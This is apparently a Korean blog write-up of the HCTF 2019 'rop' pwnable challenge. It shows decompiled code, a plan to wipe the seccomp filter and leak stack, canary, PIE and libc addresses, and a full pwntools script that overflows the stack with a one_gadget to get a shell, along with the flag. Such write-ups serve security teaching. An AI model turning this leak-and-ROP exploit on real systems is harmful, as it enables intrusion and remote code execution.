일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- RTL
- fsb
- 스위핑 알고리즘
- 이분 탐색
- 백트래킹
- 에라토스테네스의 체
- 브루트 포스
- House of Orange
- BOF
- 포맷스트링버그
- 스택
- 연결리스트
- 투 포인터
- BFS
- syscall
- 수학
- 이진트리
- off by one
- 이진 탐색
- 다이나믹 프로그래밍
- tcache
- ROP
- 동적 계획법
- 분할 정복
- 큐
- OOB
- DFS
- 문자열 처리
- 완전 탐색
- heap
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
HCTF 2019 - rop 본문
한양대학교 Open CTF이길래 재미삼아 도전해 봤다.
아름답다.
제공해준 libc파일이 2.27이라서 우분투 18.04에서 풀었다.
main함수는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rdx
int v5; // [rsp+8h] [rbp-118h]
int buf; // [rsp+Ch] [rbp-114h]
char v7; // [rsp+10h] [rbp-110h]
unsigned __int64 v8; // [rsp+118h] [rbp-8h]
v8 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v5 = 0;
buf = 0;
v3 = &v7;
memset(&v7, 0, 0x100uLL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
__isoc99_scanf("%d", &v5, v3);
if ( v5 != 1 )
break;
read(0, ::buf, buf);
}
if ( v5 > 1 )
break;
if ( v5 )
goto LABEL_13;
read(0, &buf, 4uLL);
}
if ( v5 != 2 )
break;
write(1, &v7, buf);
}
if ( v5 == 3 )
break;
LABEL_13:
puts("Invalid");
}
read(0, &v7, buf);
install_syscall_filter();
return 0;
}
|
바이너리를 실행하면 출력같은건 없어서...
임의로 생각한 메뉴를 적어봤다.
0 -> buf에 4byte만큼 입력 : read(0, &buf, 4);
1 -> 전역변수 BUF에 buf의 값만큼 입력 : read(0, &BUF, buf);
2 -> v7에 있는 값을 buf의 값만큼 출력 : write(1, &v7, buf);
3 -> while 탈출
이렇게 메뉴가 있고,
main함수가 끝나기 전에 read(0, &v7, buf)를 거치고
install_syscall_filter();을 거친 뒤에 꺼진다.
install_syscall_filter함수를 보면
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
__int64 install_syscall_filter()
{
__int16 v1; // [rsp+0h] [rbp-20h]
char *v2; // [rsp+8h] [rbp-18h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = 13;
v2 = filter;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
perror("prctl(NO_NEW_PRIVS)");
}
else
{
if ( !prctl(22, 2LL, &v1) )
return 0LL;
perror("prctl(SECCOMP)");
}
if ( *__errno_location() == 22 )
fwrite("SECCOMP_FILTER is not available. :(\n", 1uLL, 0x24uLL, stderr);
return 1LL;
}
|
여기서 v2에 filter의 주소를 넣어, 우리가 부르는 syscall의 번호와 filter에 존재하는 값이 같으면 SIGSYS를 뿜으며 죽는다. 이 때 filter의 주소는 bss에 존재한다.
SIGSYS란 불량 시스템을 호출할 때 뿜는 유닉스 신호이다.
따라서 우리는 이 SIGSYS를 우회할 수 있는 선에 맞춰 exploit을 진행해야 한다.
그렇다면 exploit의 흐름은 다음과 같다.
1) 0번 메뉴를 실행 -> buf에 큰 수를 넣어줌
2) 1번 메뉴를 실행 -> 전역변수 BUF에 buf만큼 입력을 함으로써 filter를 전부 초기화 시킴
3) 2번 메뉴를 실행 -> buf가 아주 큰 숫자기 때문에 스택 밖 주소를 leak함.
4) 3번 메뉴를 실행 -> while 탈출
5) main이 끝나기 전 read에서 rop_payload를 작성
6) filter을 우회함과 동시에 get shell
exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
from pwn import *
ret = 0x806
pop_rdi = 0xcb3
pop_rsi_r15 = 0xcb1
puts_got = 0x0000000000201F90
bss = 0x0000000000202109+0x200
puts_plt = 0x0000000000000830
read_plt = 0x0000000000000860
t = 0.1
#p = process('./rop')
p = remote("prob.hctf.icewall.org", 32002)
def choice(idx):
p.sendline(str(idx))
choice(0)
sleep(t)
p.send(p32(0x300))
sleep(t)
choice(1)
sleep(t)
p.send('\x00'*180)
sleep(t)
choice(2)
p.recv(0x100)
stack_leak = u64(p.recv(8))
canary = u64(p.recv(8))
PIE_leak = u64(p.recv(8))
PIE_base = PIE_leak - 3152
print "stack_leak : " + hex(stack_leak)
print "canary : " + hex(canary)
print "PIE_leak : " + hex(PIE_leak)
print "PIE_base : " + hex(PIE_base)
libc_leak = u64(p.recv(8))
libc_base = libc_leak - 138135
print "libc_leak : " + hex(libc_leak)
print "libc_base : " + hex(libc_base)
system = libc_base + 0x4f440
read = libc_base + 0x110070
print "system : " + hex(system)
print "read : " + hex(read)
p.recv()
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one[1]
sleep(t)
choice(3)
sleep(t)
pay = ''
pay += 'a'*0x108
pay += p64(canary)
pay += 'X'*8
pay += p64(one_gadget)
p.send(pay)
p.interactive()
|
flag : HCTF{Seccomp_is_Secure_computing_Mode_:)}
'write-up > pwnable' 카테고리의 다른 글
WhiteHat Grand Prix 06 – Quals 2019 - loop (0) | 2020.01.05 |
---|---|
해킹캠프 2019 [겨울] - orange (0) | 2019.11.30 |
BackdoorCTF 2019 - babytcache (0) | 2019.11.12 |
facebook ctf 2019 - otp-server (0) | 2019.11.04 |
HSCTF 2019 - aria writer v3 (0) | 2019.10.08 |